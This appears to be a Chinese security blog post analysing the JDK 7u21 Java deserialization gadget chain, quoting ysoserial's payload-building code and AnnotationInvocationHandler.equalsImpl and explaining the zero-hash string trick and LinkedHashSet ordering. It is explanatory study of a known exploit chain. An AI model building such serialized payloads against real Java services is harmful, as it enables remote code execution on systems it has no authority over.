JDK原生反序列化利用链7u21
前言
JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单~
7u21 要求你能理解:
- TemplatesImpl 代码执行原理
- 动态代理是什么
- AnnotationInvocationHandler 利用原理
其实7u21是对AnnotationInvocationHandler 的进一步挖掘。
调用链
- HashSet.readObject()
- map.put(k,v)。(k为代理对象)
- k.equals(last_k) (last_k 为上一个put的元素)
- k.equalImpl(). (触发恶意invoker)
- 反射执行 last_k.任意方法 (last_k 为恶意TemplatesImpl 即可代码执行)

简单描述就是:
LinkedHashSet 在反序列化初始化时会将对象重新一个一个put进内部数据结构table中,如果put的两个元素的key的hash一样,则要进行进一步的判断,要调用后放入元素的equal方法去对比前面元素的值,而如果这个后面元素的key恰好是一个经过AnnotationInvocationHandler包装的Templates动态代理对象,则在进行put时候会分别调用 AnnotationInvocationHandler 的hashImpl和equlImpl,恰好因为hashImpl 的计算会最终调用到equlImpl,通过equlImpl中的var5.invoke() ,反射执行Templates 的newTransformer方法,进而导致代码执行。
我们来看下yso的代码:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
最终的目标是要调用EvilTemples的newTransformer方法,在AnnotationInvocationHandler 中有个equalsImpl 方法:
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
抛开干扰代码存在一个反射执行的方法:
Method[] var2 = this.getMemberMethods();
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null)
{
....
}else{
var8 = var5.invoke(var1);
}
其中getMemberMethods 来自type的所有方法:

那意思就是equalsImpl能够触发一个传入对象x的恶意方法,有没有存在一个这样的对象呢,当然是有的,那就是 TemplatesImpl,TemplatesImpl.newTransformer()和getOutputProperties() 都可以触发恶意代码执行,其中asOneOfUs判断是不是动态代理的class,所以只要保证var1 不是动态代理就ok。
所以我们就需要把type设置为TemplatesImpl,var1 也为TemplatesImpl对象即可,var1也即hashset的旧元素,为了能触发恶意invoker,所以hashset的第二个元素要为一个经过AnnotationInvocationHandler包装的对象。
也就是:

步骤很清晰,有了前面几篇文章的基础后没必要再分析TemplatesImpl和AnnotationInvocationHandler利用过程了,重点看下以下几个问题
疑问

- 上图为Hashset put的源码,为了要执行euqals,就要保证map的两个key hash一致,且两个key不想等,key分别为templates和proxy,是两个不同的对象,两个hash是如何保持一致的?
- hash为0的字符串的作用是啥?
- 为什么要用LinkedHashSet,直接用HashSet行不行?
1. 两个不相等的对象如何保证hashset.hash()后结果一致?
在7u21的反序列化执行载体hashset中,添加了两个元素,一前一后分别是templates和proxy,虽然proxy对象是经过AnnotationInvocationHandler包装的Templates 代理对象,但这两个对象是不相等的,为了能执行后续步骤,让流程执行到for循环下的if预计又必须保证两个对象的hashcode一致才能进一步执行到euqals方法。

如果只是普通的两个Temples对象那必然是不相等的,但第二个元素proxy经过AnnotationInvocationHandler包装的Templates对象,当proxy执行hashcode时,会直接执行handler.invoker函数:

同时,判断执行方法为hashcode则会跳转到hashCodeImpl方法:

跳转到hashCodeImpl 时我们发现,关于proxy的hashcode计算已经和proxy本身没有关系了,私有变量memberValues是一个map对象,图片中的1会进行迭代,取出其中元素key和value 分别调用hashcode()进行异或运算然后乘以127 得到最后prxoy的hashcode值。
所以为了让prxoy和templates 的hashcode一致,我们只要 构造一个map,使其满足:
127 * key.hashcode ^ value.hashcode === templates.hashcode
这里顺便解释了:
hash为0的字符串的作用是啥?
那我们可以找到,因为对象的hashcode都是取的内存地址做一定的取整运算得到,所以如果硬凑两个不相等对象做异或会很复杂,结果必然不固定,所以我们直接令 key.hashcode=0, 127*key.hashcode 也就为0,让value 直接等于templates 即可让 proxy的hashcode等于templates,而f5a5a608 的hashcode就为0,所以这个map为:
map.put("f5a5a608",templates)
这样就满足了对象不相等,但hashcode却是一样的结果,也就能进行到euqals方法触发temples.newTransformer() 方法。
为什么要用LinkedHashSet,直接用HashSet行不行?
LinkedHashSet内部的数据结构是基于hashmap,所以理论上HashSet、LinkedHashMap、hashmap都可以,但因为类似我上面讲的欢迎,对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。
我自己也做过实验,使用hashmap作为载体会存在偶然无法代码执行的情况,所以为了保证稳定性可以使用带顺序的LinkedHashSet、或者LinkedHashmap,LinkedHashmap value设置为相同的内置基本类型即可。

结语
由名字可知,jdk7u21 只能用于7u21以下的版本,因为在高版本中,在handler euqalmpl 中增加了对 传入对象可执行方法对判断,不能像过去一样执行任意方法:

公众号
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

JDK原生反序列化利用链7u21的更多相关文章
- Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...
- ThinkPHP5.1 反序列化利用链
笔记里直接复制出来的 1 composer直接获取框架代码 ➜ composer create-project --prefer-dist topthink/think tp5137 ➜ ...
- commons-collections利用链学习总结
目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...
- [Java反序列化]jdk原生链分析
jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...
- 代理模式:利用JDK原生动态实现AOP
代理模式:利用JDK原生动态实现AOP http://www.cnblogs.com/qiuyong/p/6412870.html 1.概述 含义:控制对对象的访问. 作用:详细控制某个(某类)某对象 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson反序列化-JdbcRowSetImpl利用链
fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
随机推荐
- 2018秋招C/C++面试题总结
一.C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛.C中函数不能进行重载,C++函数可以重载C++在C的基础上增添类,C是一个结构化语言,它 ...
- springboot与通用mapper的整合
找到springboot工程下的pom.xml文件,导入如下的依赖jar包 <!--配置通用Mapper start--> <dependency> <groupId&g ...
- Ubuntu防火墙:ufw
原始linux的防火墙是iptables,以为过于繁琐,各个发行版几乎都有自己的方案; ubuntu下的防火墙是ufw[ubuntu fireward的缩写],centos的防火墙是fireward ...
- Python安装环境配置和多版本共存
Python安装环境配置和多版本共存 1.环境变量配置: (1) 右键点击"计算机",然后点击"属性" (2) 然后点击"高级系统设置" ( ...
- Mac超好用的软件合集和系统设置
软件篇 这些软件好像只有动态壁纸是收费的. 推荐的都是特别小巧,更加专注特定功能,没那么多花里胡哨.当然你们有什么更好用的也可以推荐. 简单,好用才是我最喜欢的. Bob Github开源,Bob 是 ...
- AFL++初探-手把手Fuzz一个PDF解析器
CVE-2019-13288 目前漏洞在正式版本已经被修复,本文章仅供学习Fuzz过程,不存在漏洞利用的内容 这是一个pdf查看器的漏洞,可能通过精心制作的文件导致无限递归,由于程序中每个被调用的函数 ...
- python3 爬虫五大模块之二:URL管理器
Python的爬虫框架主要可以分为以下五个部分: 爬虫调度器:用于各个模块之间的通信,可以理解为爬虫的入口与核心(main函数),爬虫的执行策略在此模块进行定义: URL管理器:负责URL的管理,包括 ...
- Sentry Web 性能监控 - Trends
系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...
- Asp.net MVC Vue Axios无刷新请求数据和响应数据
Model层Region.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; ...
- 使用Python来临时启动端口,用来做安全时候的扫描用
root用户:mkdir /home/aicccd /home/aicc/nohup python -m SimpleHTTPServer 8060 &netstat -antp|grep 8 ...